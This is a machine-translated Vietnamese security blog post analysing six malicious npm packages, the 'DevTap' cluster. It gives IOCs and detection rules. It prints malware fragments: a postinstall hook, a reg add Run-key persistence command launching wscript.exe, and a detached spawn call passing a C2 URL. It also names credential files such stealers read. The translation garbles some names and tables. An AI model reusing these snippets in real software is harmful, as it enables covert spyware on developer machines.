Tấn công chiếm đoạt mã độc DevTap npm

Tấn công chiếm đoạt mã độc npm của DevTap: Sáu gói phần mềm độc hại nhắm mục tiêu vào máy trạm của nhà phát triển

TL; DR

Từ ngày 1 tháng 4 đến ngày 3 tháng 5 năm 2026, một nhà xuất bản npm duy nhất, user0001, được đăng ký bằng địa chỉ Gmail chưa được xác minh tanvisoul9@gmail.com, âm thầm tung ra sáu gói sản phẩm với những cái tên cố tình nhạt nhẽo, nghe có vẻ liên quan đến cơ sở hạ tầng: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtimenode-env-resolve.

Hai phiên bản mới nhất của node-env-resolveCác phiên bản 1.0.7 và 1.0.8 đã bị hệ thống Cảnh báo sớm phần mềm độc hại (MEW) của Xygeni gắn cờ vào ngày 2 tháng 5 và được xác nhận là độc hại vào ngày 3 tháng 5.

Thiết bị cấy ghép này khác thường ở chỗ nó không có: không có bot Telegram, không có hàm gọi lại OAST, không có... làm xáo trộnvà không có nỗ lực nào để lấy thông tin đăng nhập AWS trong quá trình cài đặt. Thay vào đó, postinstall.js Đặt một mục duy trì khởi động Windows, sử dụng khóa HKCU Run để khởi chạy. wscript.exe Nó tấn công một chương trình VBS giả lập. Sau đó, nó tạo ra một tác nhân Node.js độc lập, đóng gói các mô-đun để thu âm micro, đánh cắp lịch sử duyệt web, chụp ảnh màn hình và mô phỏng chuột/bàn phím.

Chúng tôi gọi cụm này là cụm DevTapSau khi bộ công cụ được cài đặt xong, nó sẽ tiếp tục chạy trên máy tính của nhà phát triển.

Tại thời điểm viết bài này, cả sáu gói đều đã có sẵn trên npm. Chúng tôi đã báo cáo chúng lên kênh báo cáo vi phạm của kho lưu trữ. Những người bảo vệ hệ thống nên gỡ bỏ mọi gói đã cài đặt từ nhà phát hành trước khi bị xóa.

Cụm sản phẩm: Sáu gói phần mềm, một nhà xuất bản

Tài khoản nhà xuất bản user0001 Thông tin này chưa được xác minh. Nó không có... SCM Xác minh, không có email liên kết với tên miền và không có lịch sử giao dịch trước đó. Tên người dùng Gmail. tanvisoul9 Thông tin này không xuất hiện trong bất kỳ bản ghi nào khác của nhà xuất bản npm mà chúng tôi tìm thấy.

Cả sáu gói đều có cùng người bảo trì, được xuất bản từ cùng một tài khoản và có cùng tên. package.json mẫu. Không có repositorykhông homepage, và không description Dài hơn một dòng đơn.

Chiến lược đặt tên mới là phần thú vị. Không giống như các chiến dịch gây nhầm lẫn phụ thuộc hoặc chiếm đoạt tên miền bằng lỗi chính tả kinh điển, không có tên nào trong số này nhắm vào một thư viện thượng nguồn cụ thể. Thay vào đó, chúng được điều chỉnh để hòa lẫn vào một cái tên thực sự. package.json or npm ls đầu ra.

Bưu kiệnXuất bản lần đầuPhiên bản mới nhấtCác phiên bảnVai trò trong nhóm
người trung tâm2026-04-01 12:46 UTC1.0.95, từ 1.0.5 đến 1.0.9Ảnh bìa của "tiện ích ghi nhật ký" của Cluster; ấn bản đầu tiên
dom-utils-lite2026-04-14 07:36 UTC1.0.33Bao phủ trình trợ giúp DOM chung
node-fetch-lite2026-04-19 10:22 UTC1.0.23Mimics node-fetch family
tác nhân kết nối2026-04-25 05:12 UTC1.0.01Tên chung “đại lý”
node-gyp-runtime2026-04-25 05:17 UTC1.0.01Mô phỏng công cụ xây dựng mô-đun gốc
node-env-resolve2026-04-25 05:21 UTC1.0.910, từ 1.0.0 đến 1.0.9Ống nhỏ giọt chủ động; cấy ghép toàn phần

Tên thích centralogger, node-fetch-litenode-gyp-runtime Chúng được thiết kế để trông không gây tranh cãi trong quá trình xem xét mã. Chúng nghe giống như những thứ đã có sẵn trong cây phụ thuộc của dự án.

Kết hợp với một nhà xuất bản mới, chưa được xác minh và các liên kết kho lưu trữ bị thiếu, chúng tạo thành một mô hình dễ nhận biết: một tác nhân gieo mầm các tên miền ít gây trở ngại vào hệ thống đăng ký, sau đó nhanh chóng lặp lại thao tác trên tên miền quan trọng. Trong trường hợp này, node-env-resolve Đã nhận được mười phiên bản trong tám ngày.

Những gì xuất hiện trên máy chủ Windows Dev Box

Chuỗi độc hại trên node-env-resolve:1.0.8 Nó ngắn gọn, trực tiếp và có nhiều tính năng bất thường đối với một RAT npm.

Sau khi cài đặt: Duy trì kết nối và tác nhân tách rời

package.json Khai báo một hook cài đặt duy nhất:

{ "scripts": { "postinstall": "node postinstall.js" } }

postinstall.js Thực hiện ba việc theo thứ tự.

Đầu tiên, nó thiết lập một thư mục cài đặt bên ngoài cây npm. Đường dẫn được tính toán trong quá trình chạy trong tập lệnh như sau: INSTALL_DIRSau đó, nó chạy một quy trình nội bộ. execSync('npm install --production --silent ...') bên trong đó để tải các phụ thuộc thời gian chạy của phần mềm cấy ghép. Điều này đặt tác nhân vào ổ đĩa ở đâu đó theo hướng dẫn sử dụng. node_modules Cuộc kiểm toán sẽ không phát hiện ra.

Thứ hai, nó viết một chương trình khởi chạy VBS và đăng ký chương trình đó để duy trì hoạt động khi khởi động hệ thống:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \     /v ${AGENT_NAME} \     /t REG_SZ \     /d "wscript.exe \"${vbsPath}\"" /f

wscript.exe là Windows Script Host, một tập lệnh nhị phân đã được Microsoft ký số. .vbs các tập tin không có cửa sổ dòng lệnh. Đó là trước đócisĐó là lý do tại sao nó được ưa chuộng cho các đoạn mã tự động chạy.

Ngoài ra còn có một sản phẩm tương ứng. reg delete đường đi bên trong src/index.jsĐiều này cho thấy thiết bị cấy ghép được thiết kế để có thể tháo rời một cách dễ dàng theo lệnh của người vận hành.

Thứ ba, nó tạo ra một tiến trình con tách rời:

spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {   detached: true,   env: { ...process.env, SERVER_URL } })

Có hai chi tiết cần lưu ý ở đây.

SERVER_URL Thông tin được đọc từ môi trường. Do đó, điểm cuối C2 có thể được cấu hình cho mỗi lần triển khai và không được tích hợp sẵn vào gói. Lựa chọn nhỏ nhưng có chủ ý này giúp vô hiệu hóa hầu hết các cuộc tấn công quét IOC tĩnh.

Ngoài ra, con được sinh ra sẽ thừa hưởng toàn bộ môi trường của cha mẹ. Do đó, bất kỳ NPM_TOKEN, AWS_*, GITHUB_TOKENHoặc socket SSH-agent hiện có trong shell của nhà phát triển tại thời điểm cài đặt sẽ được chuyển vào bộ nhớ của agent có thời gian tồn tại lâu dài.

Những gì đặc vụ gửi kèm

Gói src/ Cây này bao gồm ba mô-đun, chỉ cần nhìn tên thôi cũng đã nói lên tất cả: audioCapture.js, browserHistory.jssystemInfo.js.

Danh sách các phụ thuộc thời gian chạy, được giải quyết trong quá trình dàn dựng. npm installĐiều đó xác nhận cho họ.

Cách tiếp cận này biến một sự cố hỗn loạn thành một phản ứng có kiểm soát.

Thay vì phản ứng một cách mù quáng, các nhóm hoạt động dựa trên... ưu tiên rõ ràng và khắc phục nhanh chóng.

Phụ thuộcMục đích của nó trong bối cảnh này là gì?
ảnh chụp màn hình máy tínhChụp màn hình định kỳ
@nut-tree-fork/nut-jsTự động hóa chuột và bàn phím / mô phỏng đầu vào
tốt hơn-sqlite3Đọc trực tiếp lịch sử duyệt web từ cơ sở dữ liệu SQLite của Chrome, Edge và Firefox.
adm-zipGom các hiện vật đã thu thập được lại trước khi vận chuyển ra ngoài.
sắc nétThay đổi kích thước/nén ảnh chụp màn hình và các lỗi hình ảnh.
socket.io-clientKênh C2 hai chiều bền vững
node-machine-idDấu vân tay ổn định cho từng máy chủ để theo dõi nạn nhân.

systemInfo.js cuộc gọi os.networkInterfaces() để lấy thêm dấu vân tay trước khi phát tín hiệu đầu tiên.

Vì sao tính năng thu âm lại là tín hiệu nổi bật nhất.

Hầu hết các RAT npm mà chúng tôi phân loại trong MEW đều dừng lại ở bước đánh cắp thông tin bí mật trong quá trình cài đặt. Chúng đọc ~/.npmrc, Đọc ~/.aws/credentialscạo process.envGửi yêu cầu POST đến webhook rồi thoát. Điều này phù hợp với mô hình kinh tế "cướp giật nhanh". Thông tin đăng nhập có thời hạn sử dụng ngắn, và kẻ tấn công cần kiếm tiền nhanh chóng.

node-env-resolve có hình dạng khác nhau.

Chế độ duy trì được thiết lập để tồn tại sau khi khởi động lại. Tác nhân chạy độc lập và có tuổi thọ cao. wscript.exeBộ công cụ này được thiết kế để cài đặt cố định trên máy tính của nhà phát triển, chứ không phải để lấy rồi mang đi: một trình ghi âm micro, trình điều khiển bàn phím/chuột, khả năng thu thập toàn bộ lịch sử duyệt web, chụp màn hình và một kênh Socket.IO tương tác kết nối trở lại máy chủ C2 có thể cấu hình.

Cụ thể, việc thu âm bằng micro là ranh giới mà chiến dịch này vượt qua, điều mà hầu hết các phần mềm độc hại npm không làm.

Ngày càng nhiều nhà phát triển sử dụng máy trạm của mình làm nơi họp giao ban, gọi điện cho khách hàng, thảo luận thiết kế và tham gia các cuộc gọi khẩn cấp. Thiết bị cấy ghép ghi âm micro không thực sự nhằm mục đích lấy mã thông báo npm của nhà phát triển, mà là ghi lại những gì nhà phát triển nói trước máy tính xách tay.

Bộ khả năng đó, cộng với việc thiếu che giấu mã nguồn và không có bất kỳ hoạt động đánh cắp thông tin đăng nhập nào gây chú ý trong quá trình cài đặt, cho thấy đây là sự chuẩn bị trước cho việc truy cập có mục tiêu hơn là đánh cắp thông tin đăng nhập một cách cơ hội.

Chúng tôi không chỉ dựa vào điều này để khẳng định nguồn gốc. Chúng tôi chỉ đang ghi nhận đặc điểm hoạt động.

Tấn công typosquatting npm - DevTab

Chu kỳ lặp lại tám ngày trên node-env-resolve Đây là chi tiết quan trọng nhất về mặt vận hành trong dòng thời gian.

Đây không phải là kiểu phát hành rồi quên. Nhà phát hành đang tích cực duy trì trình phát hành, điều này thường có nghĩa là một trong hai điều. Hoặc họ đang tinh chỉnh nó trên môi trường thử nghiệm trước khi triển khai rộng rãi, hoặc họ đã có dữ liệu đo lường cài đặt và đang phản hồi lại.

Năm gói còn lại hầu như không có sự thay đổi nào sau lần phát hành đầu tiên. Điều đó phù hợp với mô hình "thiết lập một lần, giữ nguyên tên" cho cụm hỗ trợ trong khi nỗ lực kỹ thuật tập trung vào gói thực hiện công việc chính.

Nguồn: Những manh mối nhỏ, chưa có kết luận chắc chắn

Public OSINT Các tín hiệu rất yếu và chúng ta sẽ không kéo giãn chúng. Điều có thể quan sát được là:

Tên tài khoản Gmail tanvisoul9 Tên này có phần giống với một tên gọi phổ biến ở Nam Á, “Tanvi”. Đây là một tín hiệu yếu. Tên người dùng Gmail không phải là danh tính, và phần đuôi của tên không phải là dấu hiệu nhận dạng. soul9 Đây là thông tin chung chung. Không thể suy luận vị trí địa lý chỉ dựa vào phần "địa phương" trong email.

Phong cách viết mã của Node.js không có gì đặc sắc: standard các lệnh gọi thư viện như os, child_process, spawnreg addKhông có sự che giấu mã nguồn, không có sự xoay vòng chuỗi ký tự, và không có logic chống gỡ lỗi. Tác giả khá thành thạo với các thao tác cơ bản trong registry của Windows và việc điều phối các tiến trình con tách rời, nhưng dường như không tìm đến các kỹ thuật tinh vi hơn mà họ có thể đang sử dụng.

Các thư viện phụ thuộc hoàn toàn có sẵn và rất quen thuộc: screenshot-desktop, nut-js, better-sqlite3socket.io-clientKhông có giao thức tùy chỉnh nào, không có ngăn xếp C2 được xây dựng từ đầu, và không có thủ thuật duy trì kết nối mới nào vượt ra ngoài phạm vi sách giáo khoa. Phím chạy HKCUĐây là một nhà tích hợp hệ thống có năng lực, chứ không phải là một tác giả công cụ.

Chúng tôi không tìm thấy các chuỗi ký tự không phải tiếng Anh, các bình luận nhúng, dữ liệu ngôn ngữ hoặc dấu vân tay múi giờ đầu ra của trình biên dịch bên trong các hiện vật đã được công bố.

Chúng tôi đã kiểm tra sự trùng lặp mã với các chiến dịch trước đây mà chúng tôi đã theo dõi, bao gồm: Shai Hulud, Owlivion, Buildkite, và heibai gần đây / claude-code-best Họ bản sao Anthropic-CLI. Chúng tôi không tìm thấy điểm chung nào: không có mẫu C2 chung, không có bố cục tệp chung và không có cách diễn đạt chung.

Điều chúng tôi sẽ không nói: rằng đây là một tác nhân nhà nước, một nhóm đã biết, hoặc có liên hệ về mặt địa lý với bất kỳ quốc gia cụ thể nào.

Hồ sơ hoạt động phù hợp với một nhóm nhỏ, có kỹ năng trung bình, thực hiện giám sát máy trạm của nhà phát triển. Có thể động cơ chính là lợi ích tài chính thông qua việc sử dụng quyền truy cập này cho các hoạt động tiếp theo, nhưng cũng có thể là dịch vụ trinh sát cho một người mua khác.

Hai luận điểm gián tiếp ủng hộ điều đó là: tránh các cơ chế đánh cắp thông tin gây chú ý có thể nhanh chóng làm quá tải cụm máy chủ, chẳng hạn như bot Telegram, oastify.comhoặc canarytokens, và những tên gói được cố tình đặt một cách nhạt nhẽo, nhằm ưu tiên việc cài đặt âm thầm trong thời gian dài hơn là một đợt tăng đột biến ngắn hạn với số lượng lớn.

Các dấu hiệu của sự xâm phạm và phát hiện

Gói phần mềm và nhà xuất bản
PhầnGiá trị
npm publisheruser0001Vi
Email của nhà xuất bảntanvisoul9@gmail.com, chưa được xác minh
Góicentralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve
Đã xác nhận là độc hạinode-env-resolve@1.0.7, node-env-resolve@1.0.8
Vật phẩm chủ
KiểuGiá trị
Khóa bền vữngHKCU\Phần mềm\Microsoft\Windows\Phiên bản hiện tại\Chạy
Giá trị bền vữngTên biến; dữ liệu có dạng wscript.exe " \\ .vbs"
Lắp đặt mócpostinstall: node postinstall.js trong tệp kê khai gói
Mô-đun cấy ghépsrc/audioCapture.js, src/browserHistory.js, src/systemInfo.js
Thư mục dàn dựngINSTALL_DIR được giải quyết bên ngoài thư mục node_modules của dự án; vị trí được thiết lập bởi postinstall.js trong quá trình cài đặt.
mạng
KiểuGiá trị
Vận chuyển C2socket.io-client, kênh hai chiều bền vững
Điểm cuối C2Được cung cấp cho tác nhân thông qua biến môi trường SERVER_URL; không được mã hóa cứng vào các thành phần đã xuất bản.

Ghi chú phát hiện

Hai quy tắc này có thể bắt được nhóm này mà không cần điểm cuối C2.

Đầu tiên, hãy gắn cờ các tập lệnh postinstall thực hiện thao tác nội bộ. npm install vào một đường dẫn nằm ngoài thư mục của gói. Bất kỳ trình tải xuống bản dựng sẵn hợp pháp nào, chẳng hạn như node-gyp Xây dựng lại hoặc tải xuống các tệp nhị phân dựng sẵn, ghi vào bên trong gói hoặc vào nền tảng.standard Đường dẫn bộ nhớ cache với mã băm đã được xác minh. Nó không ghi vào thư mục vừa được tạo. INSTALL_DIR ở nơi khác trên ổ đĩa.

Thứ hai, gắn cờ các tập lệnh sau cài đặt phát sinh reg add HKCU\…\Run với wscript.exe Với tư cách là trình khởi chạy. Về cơ bản, điều này không bao giờ hợp lệ đối với một gói npm. Hãy gắn cờ và cách ly nó.

Một phương pháp phán đoán thứ ba hữu ích để phát hiện gói anh em tiếp theo trước khi nó được xác nhận: một trình xuất bản npm mới không có SCM xác minh, email Gmail, không repository Việc xuất hiện nhiều tên gói ngắn gọn, chung chung, nghe có vẻ liên quan đến cơ sở hạ tầng được công bố chỉ trong vài ngày, tự nó đã đủ để cần phải xem xét thủ công.

Đã báo cáo lên kho lưu trữ npm. Chúng tôi sẽ cập nhật bài đăng này khi tài khoản nhà xuất bản bị xóa.

sca-tools-software-composition-analysis-tools
Ưu tiên, khắc phục và bảo mật các rủi ro phần mềm của bạn
Đăng ký tài khoản miễn phí ngay.
Không cần thẻ tín dụng.

Bảo mật quá trình phát triển và phân phối phần mềm của bạn.

với bộ sản phẩm Xygeni